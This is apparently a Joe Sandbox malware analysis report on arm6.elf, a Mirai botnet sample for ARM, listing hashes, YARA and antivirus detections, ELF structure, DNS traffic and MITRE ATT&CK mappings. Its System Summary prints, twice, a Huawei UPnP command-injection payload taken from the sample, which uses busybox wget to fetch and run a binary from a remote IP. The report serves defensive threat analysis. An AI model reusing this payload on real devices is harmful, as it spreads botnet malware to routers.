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Linux Analysis Report
arm6.elf

Overview

General Information

Sample name:	arm6.elf
Analysis ID:	1585021
MD5:	bc42a170beafa560d6c939d9533617ff
SHA1:	8adf6458066f1ffba87d3dd2e1b3cd47cbf09dc0
SHA256:	464eb4cefb4bc3d24c9c961e24304ceb3959267598b8647df2ec535ee20fcafb
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585021
Start date and time:	2025-01-07 00:49:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm6.elf
Detection:	MAL
Classification:	mal80.troj.linELF@0/0@2/0

Warnings

VT rate limit hit for: arm6.elf

Runtime Messages

Command:	/tmp/arm6.elf
PID:	5565
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

arm6.elf (PID: 5565, Parent: 5481, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm6.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
arm6.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
arm6.elf	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0xe868:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
arm6.elf	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0xe80c:$x2: /dev/misc/watchdog 0xe7fc:$x3: /dev/watchdog 0xe874:$s5: HWCLVGAJ

Memory Dumps

Source	Rule	Description	Author	Strings
5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0xe868:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0xe80c:$x2: /dev/misc/watchdog 0xe7fc:$x3: /dev/watchdog 0xe874:$s5: HWCLVGAJ
Process Memory Space: arm6.elf PID: 5565	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm6.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm6.elf

ReversingLabs: Detection: 60%

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: arm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: arm6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: arm6.elf, type: SAMPLE	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: arm6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: arm6.elf, type: SAMPLE	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b

Source: classification engine

Classification label: mal80.troj.linELF@0/0@2/0

Source: /tmp/arm6.elf (PID: 5565)

Queries kernel information via 'uname':

Jump to behavior

Source: arm6.elf, 5565.1.000055ea2f5f2000.000055ea2f720000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm6.elf, 5565.1.000055ea2f5f2000.000055ea2f720000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm6.elf, 5565.1.00007ffd307dc000.00007ffd307fd000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm6.elf, 5565.1.00007ffd307dc000.00007ffd307fd000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm6.elf, 5565.1.00007ffd307dc000.00007ffd307fd000.rw-.sdmp	Binary or memory string: ux86_64/usr/bin/qemu-arm/tmp/arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm6.elf, type: SAMPLE
Source: Yara match	File source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm6.elf PID: 5565, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm6.elf, type: SAMPLE
Source: Yara match	File source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm6.elf PID: 5565, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm6.elf	61%	ReversingLabs	Linux.Trojan.Mirai
arm6.elf	100%	Avira	EXP/ELF.Gafgyt.X

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	arm6.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	arm6.elf	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	ngwa5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	m68k.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	gnjqwpc.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	mpsl.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	arm7.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	root.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.022423570666083
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm6.elf
File size:	62'840 bytes
MD5:	bc42a170beafa560d6c939d9533617ff
SHA1:	8adf6458066f1ffba87d3dd2e1b3cd47cbf09dc0
SHA256:	464eb4cefb4bc3d24c9c961e24304ceb3959267598b8647df2ec535ee20fcafb
SHA512:	2fae83175d419f8e28bed55b3497f4a66fcf87072bb5c995f276e2b0ee849dbd7d7a2e24fab97d2728fde1355a5567eea4653f7ea9f550e25100197bfd6dd551
SSDEEP:	1536:n0bnYODHZAQKSENHivJyWSXz9kHz4IOiqDZJ1TI:UuQsNCBy3XXDZJ1T
TLSH:	00530856B8818F12C5D412BBFA2E118D331357B8E2DFB2229D206F24778B96F0E37955
File Content Preview:	.ELF..............(.....T...4...........4. ...(.....................................................$...L...........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.$.............-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62360
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xe400	0x0	0x6	AX	16
.fini	PROGBITS	0x164b0	0xe4b0	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x164c0	0xe4c0	0x950	0x0	0x2	A	4
.init_array	INIT_ARRAY	0x1f004	0xf008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x1f008	0xf00c	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x1f010	0xf014	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x1f084	0xf088	0x2a0	0x0	0x3	WA	4
.bss	NOBITS	0x1f324	0xf328	0x252c	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0xf328	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xf338	0x5d	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xee10	0xee10	6.0701	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf004	0x1f004	0x1f000	0x324	0xa84c	4.1523	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 00:50:04.677647114 CET	45156	53	192.168.2.14	8.8.8.8
Jan 7, 2025 00:50:04.682463884 CET	53	45156	8.8.8.8	192.168.2.14
Jan 7, 2025 00:50:04.682527065 CET	45156	53	192.168.2.14	8.8.8.8
Jan 7, 2025 00:50:04.682558060 CET	45156	53	192.168.2.14	8.8.8.8
Jan 7, 2025 00:50:04.682575941 CET	45156	53	192.168.2.14	8.8.8.8
Jan 7, 2025 00:50:04.687352896 CET	53	45156	8.8.8.8	192.168.2.14
Jan 7, 2025 00:50:04.687364101 CET	53	45156	8.8.8.8	192.168.2.14
Jan 7, 2025 00:50:05.126833916 CET	53	45156	8.8.8.8	192.168.2.14
Jan 7, 2025 00:50:05.126943111 CET	45156	53	192.168.2.14	8.8.8.8
Jan 7, 2025 00:50:07.125848055 CET	53	45156	8.8.8.8	192.168.2.14
Jan 7, 2025 00:50:07.126207113 CET	45156	53	192.168.2.14	8.8.8.8
Jan 7, 2025 00:50:07.130985022 CET	53	45156	8.8.8.8	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 00:50:04.682558060 CET	192.168.2.14	8.8.8.8	0xda3b	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:04.682575941 CET	192.168.2.14	8.8.8.8	0x881a	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 00:50:05.126833916 CET	8.8.8.8	192.168.2.14	0xda3b	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Jan 7, 2025 00:50:05.126833916 CET	8.8.8.8	192.168.2.14	0xda3b	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm6.elf PID: 5565, Parent PID: 5481

General

Start time (UTC):	23:50:02
Start date (UTC):	06/01/2025
Path:	/tmp/arm6.elf
Arguments:	/tmp/arm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report arm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm6.elf PID: 5565, Parent PID: 5481

General

Chronological Activities

Linux Analysis Report
arm6.elf